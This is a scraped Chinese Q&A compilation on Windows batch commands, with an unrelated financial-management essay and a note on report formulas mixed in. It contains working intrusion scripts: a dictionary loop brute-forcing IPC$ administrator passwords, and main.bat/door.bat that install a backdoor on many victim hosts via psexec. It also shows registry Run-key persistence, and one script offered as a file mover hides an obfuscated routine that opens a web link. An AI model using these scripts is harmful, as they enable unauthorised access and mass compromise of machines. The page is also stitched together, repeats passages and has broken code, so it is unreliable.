❶ 批处理命令大全
:: 创建《CMD命令速查手册》
@echo offsetlocal EnableDelayedExpansion
echo.
echo.
echo.
echo 请稍候。。。。。。。
echo.
echo.
echo.
echo 《CMD命令速查手册》>CMD命令速查手册.txt
for /f "delims=:" %%f in ('help^|findstr /n "^ASSOC"') do set head=%%fset /a head-=1
if "%head%"=="0" (
set head=
) else set head=skip=%head%
for /f "%head% delims=" %%i in ('help') do (
set str=%%i & set name=!str:~0,9! & set desc=!str:~9!echo.!name! | findstr /v "^[A-Z]" >nul && echo !desc! >>CMD命令速查手册.txt
if errorlevel 1 echo !name! !desc! >>CMD命令速查手册.txt
)
for /f %%i in ('help^|findstr "^[A-Z]"') do (
help %%i | findstr "<.*>" >nul
echo ===================================================================>>CMD命令速查手册.txt
echo %%i >>CMD命令速查手册.txt
echo ------------------------------------------------------------------->>CMD命令速查手册.txt
help %%i >>CMD命令速查手册.txt
)
endlocal
start CMD命令速查手册.txt
❷ 求个批处理命令
@echooff&title移动文件到指定位置By依梦琴瑶
::设置原文件所在目录
setSrcDir=A
::设置目标目录
setTgrDir=B
for/f"delims="%%ain('dir/a-d/b"%SrcDir%*.txt"')do(
ifnotexist"%TgrDir%\%%~na\%%~nxa"(
ifnotexist"%TgrDir%\%%~na"md"%TgrDir%\%%~na"
move"%%~a""%TgrDir%\%%~na"
)else(
echo已存在"%%~nxa"
)
)
pause
call:Donate
exit
:Donate
set"S0=fPdv"
set"S1=.:ailnhpst/"
set"S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set"S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start"""%S2%%S3%%S1:~10,1%%S0%"
exit
❸ 财务管理软件的流程图
论成本控制与财务管理目标[如果文章通过的话,别忘了给俺加分哦!呵呵.]
财务管理是企业管理的重要组成部分,渗透到企业的各个领域、各个环节之中。财务管理直接关系到企业的生存与发展,从某种意义上说,财务管理是企业可持续发展的一个关键。然而,有些企业的财务管理则不尽人意。这些企业的财务管理存在两个误区:一是把财务管理简单化,仿佛财务管理只是财务部门的事,忽视其整体管理职能;二是财务部门完全听命于"老板",忽视财务管理自身的规律性与相对的独立性。
现就企业财务管理中的投资管理、资金管理、财务监督管理、利润分配管理等问题作出讨论。
一、现代企业制度与财务管理
财务管理是社会生产力发展的结果,大约在15-16世纪,地中海沿岸一带的城市商业得到了迅速发展,初期的股份制公司的出现要求财务管理作为企业的一种组织形式诞生了。但这个时期的财务管理还仅仅只是企业管理中的一个附属部分,还没有自己的独立职能,也缺乏财务管理理论和实践经验,因此,这只能是财务管理的荫芽时期。到了19世纪50年代以后,随着西方产业革命进入完成时期,随着股份制公司的不断扩大与逐渐完善,为了适应怎样筹集资本、发行股票,怎样分配利润的需要,才产生了专业化的财务管理。
我国企业管理和理财的发展应该说是走过弯路、付出了相当的代价的。在计划经济时代,我国的企业管理与财务管理不是以追求企业效益为目标,收益分配是按劳分配口号下的平均主义。改革开放以后,特别是1993年,党中央十四届三中全会明确提出了国有企业的改革方向是"建立现代企业制度和实行科学的企业管理(财务管理)",财务管理才被重视起来。目前,国有企业正在加快企业改制工作。单一的国有企业正朝着投资主体多元化的股份制混合型经济形式发展,经营者与企业职工持股使国有企业和广大员工真正成为一个命运共同体。国有企业转换经营机制之后,将成为真正的市场竞争主体与法人治理实体。国有企业建立现代企业制度与国有企业改制对财务管理提出了更迫切更高的要求。
二、当好参谋,把好企业投资决策关
决策是企业管理中一项最为重要的工作。决策是有成本的,这一点容易被人忽视。例如一个正确的决策为企业盈利100万元,如果失去了机遇,没有做出及时的决策,这个决策成本就是100万元;如果做出了一个错误的决策,不仅没有赚到100万元,反而亏损了100万元,那么,这个错误的决策成本就是200万元。因此,决策也必须讲成本控制。
投资决策是企业所有决策中最为关键、最为重要的决策,因之我们常说:投资决策失误是企业最大的失误,一个重要的投资决策失误往往会使一个企业陷入困境,甚至破产。因此,财务管理的一项极为重要的职能就是为企业当好参谋把好投资决策关。
投资是指投放财力于一定的对象,以期望在未来获取收益的经济行为。投资有很多种类:从投资回收的时间划分,有长期投资和短期投资;从投资的方向来看,有对内投资和对外投资;以投资对企业前途的影响为依据,可分为战略性投资与战术性投资,以及初创投资与后续投资;确定性投资与风险投资;相关性投资与非相关性投资等等。这些分类是从逻辑划分的二分法划分出来的,每一种投资本身就具有多种类型的性质与特点,例如一项长期投资本身,它既可能是战略性投资,又可能是风险性投资等等。因此,我们在考虑投资时必须把好以下“四关”。
第一,把好经济行为关。必须明确投资是一项经济行为,必须从经济规律中去寻找依据,从而做出正确的投资决策。笔者调查过若干个国有企业不少失误的投资决策,其中一个很大的失误原因是没有从经济规律本身去决策,而是从“政治”、“人际关系”等因素轻率地做出了投资决策。例如一个国有企业的董事会听命于某位上级首长的“暗示”,给上级的老首长的儿子的一个公司投资300万元,结果是"肉包子打狗",有去无回;又例如一个很成功的国有企业的总经理,为了回报他的故乡,强行主张在他的故乡投资500万元办厂,而他的故乡却不具备办这种工厂的条件,结果厂是办成功了,却年年亏损,成了这个企业的"沉重包袱"。甚至还有国有企业的负责人把国有资产随意地投资给自己的亲戚朋友和身边的人,严格地说,这已经是一种腐败行为,是一种犯罪。这一种投资方式在调查的投资决策失误中竟占了40%左右,是一种十分值得重视的现象。另一种投资决策失误是投资决策者本人素质差,官僚主义,独断专行,自己又不懂经济规律而做出的决策。这种投资方式在调查的投资决策失误中约占50%.
第二,把好调查研究关,严格按国际惯例办事,按法治办事。投资决策是一个过程。在做出投资决策之前,必须深入进行调查研究,进行可行性分析,否则不能轻易投资。特别是对外投资,即企业以现金、实物、无形资产等方式,或者以股票、证券等有价证券方式向其他单位投资,一定要按国际惯例办事,对投资方的资信、财力等诸多方面有可靠的证明。合同要严格把关,符合有关法律手续,切不可留有隐患。
第三,把好投资管理程序关,做到投资决策科学化与民主化。不同种类的投资都有自身的特点,从而有不同的管理程序,需经不同的部门审批,例如:有的投资,总经理个人可以做出决策,有的投资需经董事会批准,而有的投资则需报上级部门审批。
第四,把好成本控制、风险与收益关。投资的目的是要有效益,要赚钱,因之必须实行投资成本控制;要有风险意识,尽力规避风险;投资要有效益,还得及时回收,以确保投资成功。
三、管好资金,确保企业资金流通与安全
目前,不少企业在资金管理中存在三个问题:一是资金入不敷出,存在资金缺口;二是资金被挪用、被挤占;三是叫人头疼的“三角债”。如何解决好这三个问题,是企业财务管理中的当务之急。
当然,首先要开源节流,增收节支;其次要通过短期筹款和投资来调剂资金的余缺;第三必须对资金实施跟踪管理,做到专款专用,防止资金被挪用和形成新的“三角债”。
四、充分发挥财务监督作用,确保国有资产保值增值
完善企业法人治理结构是目前国有企业改制的一个重大课题。企业要真正成为市场经济中的竞争主体和责权明确的法人实体,必须要有一套与之相适应的激励机制。建设一个团结、开拓、廉洁的领导班子是搞好国有企业的关键。从防止腐败着想,企业必须加强监督作用。正如交通规则一样,没有红灯的约束,就没有绿灯的自由。在企业约束机制之中,充分发挥财务监督作用具有特别重要的意义。财务工作者要有高度的责任感,对于不按财务制度办事的人,要敢于抵制,直至向上级反映情况。国有企业的财务人员从根本上说来,是对国有资产负责,而不是对某个具体的总经理负责。而从法治上说,又必须保护财务人员的职责与个人权益,也只有这样,才能充分发挥财务监督作用。
目前国有企业实行财务主管下管一级的制度是行之有效的。直属企业的财务负责人由上一级主管部门、企业直接委派,其组织关系、工资福利在上一单位,这样他就能无后顾之忧地行使财务监督作用。
五、新形势下的利润分配管理
利润分配是企业根据国家有关规定和投资者的决议对企业净利润所进行的分配。利润分配在企业中起到杠杆作用,它对正确处理企业与各方面的经济关系,调动各方面的积极性,促进企业发展有着极其重要的意义。
多年来,我国企业利润分配由于受计划经济的影响,在“按劳分配”的口号下,实质上存在严重的平均主义,极大地挫伤了群众的积极性,这也是不少国有企业长期处于困境的一个重要原因。一个厂长、总经理工资收入与一个普通员工相差无几,无论从哪一方面说,都是不合理的。有一些厂长、总经理辛辛苦苦干了几十年,临到退休才发现自己“一无所有”,心理不平衡。个别人竟铤而走险,知法犯法,贪污受贿,形成所谓的“五十九岁现象”。一个高级知识分子,一个科技工作者收入同一个体力劳动者也相差无几,这也是利润分配十分不合理的现象。在利润分配上吃大锅饭是一种落后意识,是有很大危害的。
改革开放以后,邓小平同志提出“让一部分人先富起来”,其实质就是打破利润分配的“平均主义”。邓小平同志又提出“科学技术是第一生产力”,号召“尊重知识、尊重人才”,这就为利润分配进一步改革奠定了理论基础。目前,科技工作者可以以科学技术入股分红,企业经营者实行年薪制等,可以说是利润分配在新形势下的必然结果。按劳分配与生产要素参与分配将成为企业的主要利润分配形式,职工持股,经营者持股将使企业和员工成为一个利益共同体,风险共担,利润则视其参股比例不同而不同。在这种新形势下,企业的利润分配如何才能更合理,更能发挥经济杠杆作用,从而调动各层次、各种人员的积极性,是财务工作者面临的一个新挑战。
参考资料:http://www.damishu.com/Article/ktlw/czjr/200510/38716.asp
❹ 求个批处理命令
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 ’z’ 或’Z’ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use //%1/ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@ windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p*** ec //%1 c:/winnt/system32/windrv32.exe
@p*** ec //%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
在做备份的时候可能会用到这种命令会比较简单,如:
dir file&://192.168.0.1/database/backup.mdb && file&://192.168.0.1/database/backup.mdb E:/backup
如果远程服务器上存在backup.mdb文件,就执行命令,若不存在该文件则不执行命令。这种用法可以替换IF exist了 :)
3.││
Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令
组合命令使用的例子:
sample:
@ trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft下创建了一个名字为"hacker"的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"Invader"="Ex4rch"
"Door"=C://WINNT//system32//door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下
新建了:Invader、door、about这三个项目
Invader的类型是"String value"
door的类型是"REG SZ value"
Autodos的类型是"DWORD value"
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下的"Ex4rch"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
执行该脚本,[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C://WINNT//system32//door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
❺ 批处理命令……着急,在线等
呵呵~
这种p也有人编,无聊...
剩余空间就成0的应该不止c盘啊~
枚举所有以英文字母为盘符字母的分区,并获得分区可用字节有多少,再检查该分区是否有iexplorer这个文件夹,如果没有就创建该文件夹,再检查该文件夹下是否有pigfile.sys这个文件,如果没有就创建一个以pigfile.sys文件名,大小以该分区字节有多少一样大小的占位文件。并将iexplorer这个文件夹及其子文件夹中匹配的文件加上系统、隐藏、只读属性。
解除,参看楼上的答案。
或:
@echo off
for %%P in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (
attrib %%P:\iexplorer -s -h -r /s /d
del %%P:\iexplorer\pigfile.sys /q
)
exit
❻ bat批处理命令大全
我有一个txt格式的文档,但是字数太多粘贴不上来(超过10000字)你可以加我,我传给你
目录:第一章 批处理基础 第一节 常用批处理内部命令简介 1、REM 和 :: 2、ECHO 和 @ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd 13、CALL 14、shift 15、IF 16、setlocal 与 变量延迟 17、ATTRIB 显示或更改文件属性 第二节 常用特殊符号 1、@ 命令行回显屏蔽符 2、% 批处理变量引导符 3、> 重定向符 4、>> 重定向符 5、<、>&、<& 重定向符 6、| 命令管道符 7、^ 转义字符 8、& 组合命令 9、&& 组合命令 10、|| 组合命令 11、"" 字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号 第二章 FOR命令详解 一、基本格式 二、参数 /d 三、参数 /R 四、参数 /L 五、参数 /F 第三章 FOR命令中的变量 一、 ~I - 删除任何引号("),扩展 %I 二、 %~fI - 将 %I 扩展到一个完全合格的路径名 三、 %~dI - 仅将 %I 扩展到一个驱动器号 四、 %~pI - 仅将 %I 扩展到一个路径 五、 %~nI - 仅将 %I 扩展到一个文件名 六、 %~xI - 仅将 %I 扩展到一个文件扩展名 七、 %~sI - 扩展的路径只含有短名 八、 %~aI - 将 %I 扩展到文件的文件属性 九、 %~tI - 将 %I 扩展到文件的日期/时间 十、 %~zI - 将 %I 扩展到文件的大小 十一、 %~$PATH:I 第四章 批处理中的变量 一、系统变量 二、自定义变量 第五章 set命令详解 一、用set命令设置自定义变量 二、用set命令进行简单计算 三、用set命令进行字符串处理 1、字符串替换 2、字符串截取 第六章 if命令讲解 第一种用法:IF [NOT] ERRORLEVEL number command 第二种用法:IF [NOT] string1==string2 command 第三种用法:IF [NOT] EXIST filename command 第四种用法:IF增强的用法 第七章 DOS编程高级技巧 一、界面设计 二、if…else…条件语句 三、循环语句 四、子程序 五、用ftp命令实现自动下载 六、用7-ZIP实现命令行压缩和解压功能 七、调用VBScript程序 八、将批处理转化为可执行文件 九、时间延迟 1、利用ping命令延时 2、利用for命令延时 3、利用vbs延迟函数,精确度毫秒,误差1000毫秒内 4、仅用批处理命令实现任意时间延迟,精确度10毫秒,误差50毫秒内 十、模拟进度条 十一、特殊字符的输入及应用 十二、随机数(%random%)的应用技巧 十三、变量嵌套 与 命令嵌套 全文: http://xiangkg.blog.163.com 1、更正了所有的错别字,适当排版,增加条理性。 2、运行改善所有例子,并纠正了一些语法错误。 3、补充了一些不完全的地方。 4、第一章参考了网上许多教程汇编而成。 5、20080229补充了变量延迟的问题。 6、20080305修改了参数usebackq的说明 7、20080310增加了特殊字符的输入及应用 8、20080311修改了子程序部分 9、20080313修改了echo说明,归纳了9个应用方法 10、20080320增加任意时间延迟方法 11、20080321增加了set计算中十进制与八进制混淆问题的说明 12、20080325修正dos数值计算范围:-2147483648 至2147483647,即-2^31~2^31-1 13、20080326增加随机数的应用 14、20080327修改了“if增强用法”中的defined语句说明 15、20080402增加变量嵌套与命令嵌套,重要技巧之一。很高兴为你回答。如果你觉得满意的话请采纳。谢谢!
❼ 财务软件从其他报表取数计算的方法
财务软件从其他报表取数计算的方法
在进行报表与报表间的取数时,不仅仅要考虑取哪一个表哪一个单元的数据,还要考虑数据源在哪一页。例如,5月份的资产负债表中的利润,需要去傲利润表中5月份的利润数据,假如利润表中存在其他月份的数据,而不存在5月份的数据,那么《资产负债表》绝对不应该将其他月份的数据取出来,报表间的计算公式就是要保证这一点。
报表间的计算公式与同一报表内各表页间的计算公式很相近,主要区别就是把本表表名换为他表表名。报表与报表间的计算公式分为:取他表确定页号表页的数据和用关联条件从他表取数。
(1)取他表确定页号表页的数据。用以下格式可以方便地取得已知页号的他表表页数据:
<目标区域>=“<他表表名>”→ <数据源区域> [@ <页号> ]
当<页号>缺省时为本表各页分别取他表各页数据。下面就该格式举一些例子。
①取他表数据。令当前表页D5的值等于表“Y”第4页D5的值:D5=“Y”→D5@4;令本表各页D5的值等于表“Y”各页D5的值:D5=“Y”→D5 FOR ALL;令当前表所有表页 C5的值等于表“Y”第 1页中C10 的值与表“Y”第2页中C2的值之和:C5=“Y” →C10@1+“Y”-C2@2
②取他表及本表的数据。令当前表所有表页C5的值等于表“Y”第1页中C10的值与当前表第2页中C2的值之和:C5=“Y”→C10@l+C2@2。
③取其他两个表的数据。当前表 C1>0的表页 D5的值等于表“Y”第1页中 H20的值与表“X”第2页中F4的值之和:D5=“Y”→H20@l+“X”→E4@2 FOR C1>0。
